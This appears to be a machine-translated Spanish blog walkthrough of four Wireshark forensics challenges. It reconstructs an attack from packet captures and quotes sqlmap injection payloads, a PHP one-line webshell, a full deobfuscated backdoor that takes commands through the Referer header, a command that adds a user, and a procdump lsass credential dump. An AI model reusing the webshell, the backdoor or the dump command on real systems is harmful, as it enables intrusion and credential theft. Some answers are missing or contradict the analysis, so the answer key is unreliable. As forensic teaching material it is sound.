Ejemplo de análisis de tráfico de Wireshark

Tabla de contenido

prefacio 

1. Tema 1 (1.pcap)

2. Tema 2 (2.pcap)

3. Tema 3 (3.pcap)

4. Tema 4 (4.pcap)


prefacio 

El análisis de paquetes de tráfico de Wireshark es muy importante para la seguridad. Podemos utilizar Wireshark para diagnosticar problemas de red, detectar ataques de red, monitorear el tráfico de red y capturar malware, etc.

A continuación, veamos una pregunta de análisis de datos, que requiere 4 paquetes de tráfico 1-4.pcap, y el enlace del disco de red se extrae por sí solo.

Enlace: https://pan.baidu.com/s/1gTL_l0Xk2xP3ZNWYvBWi8g?pwd=d6g7 
Código de extracción: d6g7

1. Tema 1 (1.pcap)

Requisitos del tema:

1. La dirección IP de la tarjeta de red del primer host víctima atacado por piratas informáticos.

2. El hacker implementó la inyección SQL en qué parámetro de la URL

3. El prefijo de la tabla de la base de datos del sitio web del primer host de la víctima (agregue guiones bajos como abc)

4. El nombre de la base de datos del sitio web host de la primera víctima.

Vea el tema Inyección SQL, luego primero filtre los protocolos http y https

Después del filtrado, puedes ver dos ips con más apariciones, 202.1.1.2 y 192.168.1.8, y puedes ver que 202.1.1.2 ha atacado a 192.168.1.8.

Aquí sale la respuesta a la primera pregunta, la IP de la tarjeta de red del host de la víctima es 192.168.1.8 y 202.1.1.2 es la IP del atacante.

Luego mire directamente el paquete de solicitud http con la IP de origen 202.1.1.2

Veamos un paquete aquí, y el código URL se decodifica de la siguiente manera

Se puede ver que los piratas informáticos utilizaron la inyección SQL para intentar construir xss almacenados.

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(&XfqR=2916 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',tab

Mire otro paquete, la misma decodificación del código de URL

Después del análisis, se descubre que todavía se está intentando la inyección SQL, la herramienta de inyección sqlmap y el punto de inyección es lista [seleccionar]

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(" OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(883

Luego rastreamos un flujo TCP de inyección SQL

Puede ver que la base de datos es MariaDB, se informó un error y el prefijo de la tabla es ajtuc_

Si queremos encontrar el nombre de la base de datos, será mejor que vayamos a los últimos elementos para encontrarlo. Si la palabra clave del esquema está incluida en la URL, la probabilidad es el nombre de la base de datos.

El nombre de la base de datos aquí usa decodificación hexadecimal, que es joomla

Respuesta:

1. La dirección IP de la tarjeta de red del primer host víctima atacado por el hacker 
es 192.168.1.8
2. Qué parámetro de la URL implementó el hacker
Lista de inyección SQL [seleccionar]
3. El prefijo de la tabla de la base de datos del sitio web del primer host víctima (subrayado Por ejemplo abc_)
ajtuc_
4. El nombre de la base de datos del sitio web host de la primera víctima
joomla

2. Tema 2 (2.pcap)

Abrir 2.pcap

Requisitos del tema:

1. ¿Cuál es la contraseña del troyano PHP obtenida por los piratas informáticos por primera vez?

2. ¿Cuándo cargó el hacker el troyano PHP por segunda vez?

3. ¿A través de qué encabezado del protocolo HTTP transmite los datos el segundo troyano cargado?

El tema requiere la contraseña del caballo de Troya PHP. En primer lugar, debemos saber que el caballo de Troya PHP de una palabra suele ser una solicitud POST.

Entonces filtramos directamente la solicitud POST y descubrimos que esta IP solicitaba un archivo php llamado kkkaaa.php, lo cual era muy sospechoso.

Los archivos normales no recibirán este nombre. Abra el paquete de datos, eche un vistazo y encontró este campo.

Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"

De hecho, ha aparecido una frase: la contraseña del caballo de Troya, es zzz

Aquí subió una palabra que debería ser el caballo de Troya.

<?php eval($_POST['zzz']);?>

Luego se pasa eval(base64_decode($_POST[z0])); al parámetro zzz, el propósito es decodificar los datos pasados ​​por z0 a base64.

En este momento, z0 pasa los datos codificados en base64 para ejecutar código malicioso.

Después de la decodificación, se descubre que se ejecuta la función dirname, cuyo propósito es ver los archivos o directorios en la ruta actual, similar al comando ls en Linux.

La segunda pregunta es en qué momento se cargó el troyano por segunda vez.

Si no tienes ni idea analiza los paquetes filtrados, el resto de parámetros son iguales, lo importante es el campo Longitud.

Sin duda, el primer paquete será un poco más largo que los demás paquetes, pero el cuarto paquete es muy extraño, unos 150 bytes más largo que los otros paquetes.

rastrear flujo tcp

Se puede ver claramente que z2 es muy anormal y otros parámetros son el código URL y la codificación base64.

z2 usa codificación hexadecimal, vamos a decodificarla

Dicho código PHP está ofuscado, por lo que no podemos entender su código en absoluto.

El código restaurado: 

<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

Después de verificar, encontré la función create_function, que puede ejecutar comandos.

El funcionario también insinuó que esta función se eliminó en 8.0 y tiene los mismos riesgos de seguridad que la función eval().

Muestra que el hacker utilizó la función create_function para cargar su propio caballo de Troya.

Para el tiempo, Ctrl+f, seleccione los detalles del grupo, seleccione la cadena, busque la cadena de tiempo y aparecerá el tiempo.

7 de febrero de 2018 17:20:44.248365000 hora estándar de China

Entonces analicemos este troyano.

Si el caballo de Troya quiere usarlo, inevitablemente interactuará con el paquete de datos. Mire más de cerca estas dos líneas de código.

$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

Estas dos líneas de código son para obtener los campos de referencia y aceptar_idioma en la solicitud http e interactuar con el paquete de datos.

Entonces, básicamente se puede concluir que los piratas informáticos utilizan estos dos campos para transmitir los comandos que desea ejecutar.

Veamos un paquete que accede a footer.php

Se descubre que la longitud del campo Referer es muy anormal y el campo Accept-Language es normal.

Por lo tanto, básicamente se puede determinar que el troyano transmite datos a través del encabezado de referencia en el protocolo HTTP.

Respuesta 

1. ¿Cuál es la contraseña del caballo de Troya php obtenido por el hacker por primera vez
? 2. ¿Cuándo
carga el hacker el caballo de Troya php por segunda vez?


3. Tema 3 (3.pcap)

Abrir 3.pcap

Requisitos del tema:

1. ¿Cuál es el nombre de usuario mysql del host de la intranet y el hash de contraseña de la conexión solicitada (usuario: hash de contraseña)?

2. ¿A qué dirección IP se conectó por primera vez cuando se utilizó el proxy php por primera vez?

El tema requiere datos de MySQL, filtrar directamente, TCP contiene "mysql" && mysql

Se descubre que los piratas informáticos han estado arruinando las contraseñas de MySQL

Encontramos la última, que puede ser la contraseña correcta.

Usuario: administrador

Hash de contraseña: 4858e7dcb0968daa7b599be4b0edb88a25ad89ac

Luego filtre la solicitud http y busque un archivo php llamado Tunnel.php.

Haga clic para abrir y podrá ver claramente que la dirección IP de la primera conexión del proxy php es 4.2.2.2 , puerto 53. 

Respuesta

1. ¿Cuál es el nombre de usuario mysql del host de la intranet y el hash de contraseña de la conexión solicitada (usuario: hash de contraseña)?
   admin: 1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
2. A qué dirección IP se conecta por primera vez cuando se utiliza el proxy php por primera vez
   4.2. 2.2

4. Tema 4 (4.pcap)

Abrir 4.pcap

Requisitos del tema:

1. ¿Cuándo solicitó el pirata informático por primera vez explotar la vulnerabilidad para obtener la lista de archivos en el directorio actual?

2. ¿Cuál es el nombre de usuario y la contraseña agregados por el hacker al host interno?

3. El nombre del archivo descargado por el hacker del servidor de intranet.

El comando para obtener la lista de archivos del directorio actual, dir en Windows, ls en Linux

filtrar directamente

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contiene "dir" || http contiene "ls")

Se encuentra que hay ls y dir

Al rastrear el flujo tcp, descubrí que el primer ls no se ejecutó correctamente porque no hubo eco del servidor.

La ejecución del segundo directorio fue exitosa.

 tiempo de búsqueda

7 de febrero de 2018 18:36:59.770782000 hora estándar de China

Agregar usuarios en Windows debe usar el usuario de red, y el usuario administrador hace eco de Administrador, por lo que filtramos directamente

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contiene "usuario" || http contiene "Administrador")

Se puede ver aquí que no hay ningún usuario, hora 7 de febrero de 2018 18:49:27.767754000 Hora estándar de China

Mirando hacia atrás, descubrí que se agregó el usuario administrador kaka, tiempo

7 de febrero de 2018 18:50:42.908737000 hora estándar de China 

Entonces el hacker debe haber ejecutado el comando para agregar usuarios durante este período de tiempo.

Luego, veamos las solicitudes http durante este período y filtremos directamente por tiempo.

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http && frame.time_relative >= 827.109385 && frame.time_relative <= 902.267039

Finalmente encontramos esta solicitud inusual.

Descubierto por decodificación base64

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net usuario kaka kaka /add&echo [S]&cd&echo [E]

El nombre de usuario y la contraseña son kaka:kaka

La última pregunta es la descarga. En una oración, el caballo de Troya es una solicitud POST y la dirección IP del ataque es 192.168.2.20, luego filtre directamente

ip.dst == 192.168.2.20 && http.request.method == POST

Después de filtrar, no hay forma de ver solo uno por uno, la decodificación base64 

Luego encontré este paquete al final.

Después de decodificar: 

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E] 

Se encontró que se usó procdump.exe

Mirando hacia atrás, encontré este paquete.

esta decodificado asi 

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

Finalmente podemos confirmar que el hacker descargó lsass.exe_180208_185247.dmpel archivo.

Respuesta


1. ¿Cuándo obtuvo el pirata informático por primera vez la lista de archivos en el directorio actual para explotar la lsass.exe_180208_185247.dmp?
vulnerabilidad


Supongo que te gusta

Origin blog.csdn.net/CQ17743254852/article/details/132446296
Recomendado
Clasificación